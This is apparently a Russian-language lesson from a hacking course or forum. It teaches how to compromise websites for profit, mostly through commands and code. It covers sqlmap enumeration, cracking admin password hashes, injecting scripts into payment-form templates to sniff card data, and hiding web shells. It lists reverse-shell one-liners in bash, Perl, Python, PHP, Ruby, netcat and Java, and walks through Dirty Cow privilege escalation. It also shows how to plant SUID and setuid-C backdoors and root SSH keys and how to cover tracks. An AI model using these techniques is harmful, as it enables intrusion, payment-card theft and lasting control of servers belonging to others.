Anon | 00500

Имя пользователя: Anon

Статус: Активен

Регистрация jabber:

Поток: Anon

TG канал: Канал для опретивных оповещений



Закрыть

Назад

База

Успешность атаки - это разница между желаемым результатом и полученным. Например желаемым результатом было получить доступ к БД сайта и ты его получил, а значит атака прошла успешно. Теперь тебе нужно узнать информацию от какого пользователя работает БД и является ли этот пользователь привелигированным, а также имя текущей базы данных и список всех баз. У sqlmap`а есть параметры позволяющие эту информацию получить.

  • --current-user - текущий пользователь
  • --is-dba - является ли он администратором
  • --current-db - текущая БД
  • --dbs - список баз в СУБД

Далее опять все будет зависеть от целей, например ты ищешь таблицы содержащие имена пользователей, такие колонки будут содержать слово user или username. Провести неточный поиск (в данном случае только на вхождение подстроки в строке) можно с помощью патаметра --search

$ sqlmap -u 'site' --search -C user

Эта команда попросит sqlmap найти все таблицы в именах колонок которых содержится слово 'user'. Хотя скульмап задаст вопрос о том как именно провести поиск, по точному совпадению (exact) или по неточному (like). И в реальной жизни крайне рекомендую всегда использовать любой универсальный тампер и --random-agent, последний вообще must-have.

Админка

По анализу БД особо говорить то и нечего, слил то что нужно и пошел своей дорогой. А если тебе нужен доступ к админке, то это уже интереснее. Удобно получится если есть доступ к БД с которой ты можешь слить учетные данные, а так как об анализе цели до атаки я тебе уже рассказал, то на руках у тебя админка и данные для доступа к ней. Единственное препятствие - это шифрование пароля в md5 или еще как. Я уже давал ссылку на сайт cmd5.ru, а вот еще один хороший сайт hashkiller, который тебе может в этом помочь. Это онлайн способы, также есть еще и офлайн способы. Например sqlmap в любом случае предложит тебе брутануть хеши по словарю, так что можешь запастись словарем, который ты будешь использовать. Кроме sqlmap есть и специализированный софт идущий в комплекте с кали - hashcat. Ничего в нем сложного нет, ты вполне справишься тут сам.

Попав в админку стоит изучить, какие возможности она тебе предоставляет, например если твоя цель пролить шелл, то тебе нужно отыскать все места откуда ты можешь залить какой-то файл, или если твоя цель снифинг формы оплаты, то ты можешь поискать места где возможно редактирование шаблона для формы оплаты. Варианты тут бывают разные, некоторые движки предоставляют возможность менять код php, как в случае с друпал например, а некоторые дают возможность менять только код шаблона, т.е. html. А иногда части кода шаблона хранятся в базе данных, а админка предоставляет механизм бекапинга и восстановления таблиц БД, где ты сможешь отыскать таблицу, которая хранит, например код для отображения шапки сайта. Выполнить бекап, вставить свой скрипт и восстановиться из бекапа. Т.е. вариантов также много и все зависит от ситуации.

Веб-шелл

Предположим твоя задача загрузить вебшелл, на самом деле это должна быть твоя основная задача, так как пароль на админку могут сменить, а дырку в sql могут закрыть, и у тебя это получилось. Тогда тебе нужно первым делом спрятаться. Потом уже ты должен изучить свою область влияния, а также собрать для себя необходимую информацию. И опять же, ты должен проанализировать файлы сайта в зависимости от твоей цели, если твоя цель - это трафик, то ты должен установить свой скрипт куда нибудь в шаблон сайта, так чтобы он отрабатывал всегда. А всегда на странице есть 2 элемента: футер и шапка. Тело страницы может постоянно меняться. И тут опять же все зависит от ситуации, некоторые движки в файлах для каждого шаблона имеют файл с говорящим названием footer.php, в котором хранится код для футера сайта. Футер - это часть страницы внизу, в которой обычно пишут копирайт и другую хрень, которая мало кого интересует. Также стоит оставить себе маленькие закладки, а после работы с сайтом удалить свой веб-шелл, так как он может быть обнаружен, а когда админ находит у себя следы проникновения то с вероятностью в 98% он просто переустановит сервер.

Шелл

Получение прямого доступа к шеллу возможно через бекдор, что было рассмотрено в статье по веб-шелам. Да и несложное это занятие. Интереснее рассмотреть бек-коннект способы. Список команд для получения реверс шелла:

bash, работает только в старых версиях.

$ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

где 10.0.0.1 - это адрес твоего сервера, а 8080 порт на который ты должен прибиндить nc например.

Perl

$ perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

$ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

$ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

$ nc -e /bin/sh 127.0.0.1 4444

Еще раз netcat

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

А теперь давая я покажу тебе где это может пригодиться. Открой терминал кали и запусти неткат на прослушивание порта.

В кали неткат на отрез отказывался слушать указываемый мной в параметрах порт пока я не указал аргумент -p, подробнее в мане. Теперь перейди в dvwa на страницу "Command Injection", чтобы не париться, сложность я выставил в Low. И вбиваешь команду на подключение сервера к тебе

& - в конце нужен, что бы не зафризить сервер, который будет ждать окончания выполнения команды. И результат, как говорится, на лицо ;-)

Что дальше? Для начала тебе нужно исследовать сервер, в этом может помочь скрипт для сбора информации, скачать который ты можешь с ФО Additional2.zip.

Первое с чего можно тут начать - это определить возможности повышения привелегий.

Privilege Escalation

Повысить привелегии можно 3-мя путями: использовать сплоит и найти в кроне доступный для записи файл и запускаемый от рута. Начнем с эксплоитов, а для того чтобы заюзать сплоит надо определить версию ядра

uname -a

И узнать название дистрибутива

cat /etc/issue

Теперь надо выяснить по версии ядра и году его обновления наличие эксплоитов для полвышения привелегий. Сделать это можно опять же загуглив.

Privilege Escalation linux 3.2

Еще иногда в информации о версии ядра указывается дата обновления, которую надо учесть, так как версия может быть уязвимой, а обнова 2018-го года, т.е. был выпущен патч который закрыл уязвимость под это ядро. Тогда остается искать другие пути или надеяться, верить и ждать выхода сплоита.

Под данную версию ты сможешь найти уязвимость CVE-2016-5195 "Dirty Cow". Теперь можно искать сплоит под данную уязвимость, например на exploit-db или на rdot. На втором сайте есть сплоит прямо под bash. Т.е. остается скопировать код сплоита на сервер и запустить.

Все, мы получаем euid root и добавляемся в группу рут. Теперь получим uid root. 2 варианта опять же: редатирование /etc/sudoers и /etc/passwd. На данный момент мы уже можем редактировать файлы принадлежащие руту. Открываем /etc/sudoers и добвляем запись, которая позволит нашему пользователю, от которого мы знаем пароль, использовать команду sudo со своим паролем.

Теперь можно стать полноправным рутом

Того же результата можно было бы добиться отредактировав файл /etc/shadow и присвоить руту хешь пароля текущего пользователя. Главное сохранить его хеш себе, чтобы потом вернуть все на место.

Иногда сплоиты нужно компилировать, информация по компиляции идет с эксплоитом, учесть тут нужно следующее либо на сервере должны стоять нужные компоненты (gcc, g++, etc) либо надо искать версию ядра и ОС и ставить ее себе на виртуалку, где проводить компиляцию и грузить на жертву уже скомпилированный сплоит. Ничего сложного, ловкость рук и никакого мошенничества.

Теперь надо намутить себе бекдор. Вариантов несколько, я расскажу 2: простой и сложный (хотя есть еще сложнее). Оба варианта завязаны на создании себе лазейки через установку флага suid на исполняемый файл. Т.е. если ты не хочешь создавать какой то файл (известным только тебе причинам) ты можешь прибить флаг SUID на nano и тем самым получишь доступ к редактированию любого файла. Давай я просто покажу тебе

Как видишь по дефолту даже читать /etc/shadow нельзя. Теперь ставим на nano флаг suid

И теперь можно открыть файл /etc/shadow от имени обычного пользователя и он будет доступен на запись

Теперь если тебе нужно получить рута и ты знаешь пароль текущего пользователя (или можно сгенерировать хеш), ты можешь указать его руту и выполнить sudo su и указать пароль хеш которого поставил. Главное потом вернуть все на места и не забыть установить старую дату изменения файлов которые менял.

Вариант сложнее, создаем файл на сервере с именем shell.c от рута, тут важно только расширение.

Вставляем этот код, сохраняем и компилим через gcc, в папке появится скомпилированный файл с именем указанным в параметре -o и также ставим флаг suid

Теперь можно запустить его от имени любого пользовтеля и ты получишь рутовую сессию баш

Вот только имя дать по-проще и спрятать по-дальше.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
   setuid( 0 );
   system( "/bin/bash" );

   return 0;
}

Если на сервере нет gcc, можно компилить у себя как в случае с исходниками на повышение привелегий требующие компиляции.

Также, руту можно грузануть ssh ключ и тогда не потребуется знание пароля. Т.е. после повышения привелегий, тебе нужно перейти в каталог /root/.ssh. В этом каталоге хранятся настройки ссш для пользователя, в данном случае для рута. SSH поддерживает аутентификацию пользователя по ключу, что я вляется более безопасным способом, а для того чтобы аутентифицировать пользователя, требуется чтобы на сервере хранился публичный ключ пользователя. Публичные ключи пользователей хранятся, в данном случае, по пути /root/.ssh/authorized_keys. Т.е. для того чтобы авторизоваться в рута по ключам, нужно в этот файл поместить свой публичный ключ. Начнем с генерации ключей для себя, открой терминал и выполни команду

$ ssh-keygen

В простом варианте не нужно ничего менять и просто на все вопросы отвечать тапом по Enter. Таким образом будет создана пара ключей в каталоге `/{USER}/.ssh`, в нем файл id_rsa является твоим приватным ключем, а id_rsa.pub - публичным. Теперь делаешь

$ cat ~/.ssh/id_rsa.pub

копируешь вывод и вставляешь на сервере в файл /root/.ssh/authorized_keys. После этого ты можешь логиниться по ссш к руту без указания пароля.

$ ssh root@domain

SSH по умолчанию пытается подхватить ключи из папки .ssh расположенной в домашнем каталоге пользователя. Если требуется в ручную указать путь к ключам, то используй параметр -i

$ ssh root@domain -i /var/id_rsa

т.е. указывается именно путь к приватному ключу.

Как видно на гифке, даже если у пользователя нет папки .ssh это не значит, что ее нельзя создать.

Таким образом можно закрепиться на машине, после успешного взлома. Также еще можно посмотреть кол-во файлов и сетевых соединений

$ df -h && netstat -tunp | grep :80 | wc

или, если нет netstat

$ ss -plna | grep :80 | wc

Если диски заняты под завязку, а также на сервере больше 100 активных соединений, то сайт можно считать популярным, с интересным контентом и уже отсюда можно отталкиваться думая о том как его монетизировать. Хотя я за то чтобы иметь план еще до взлома.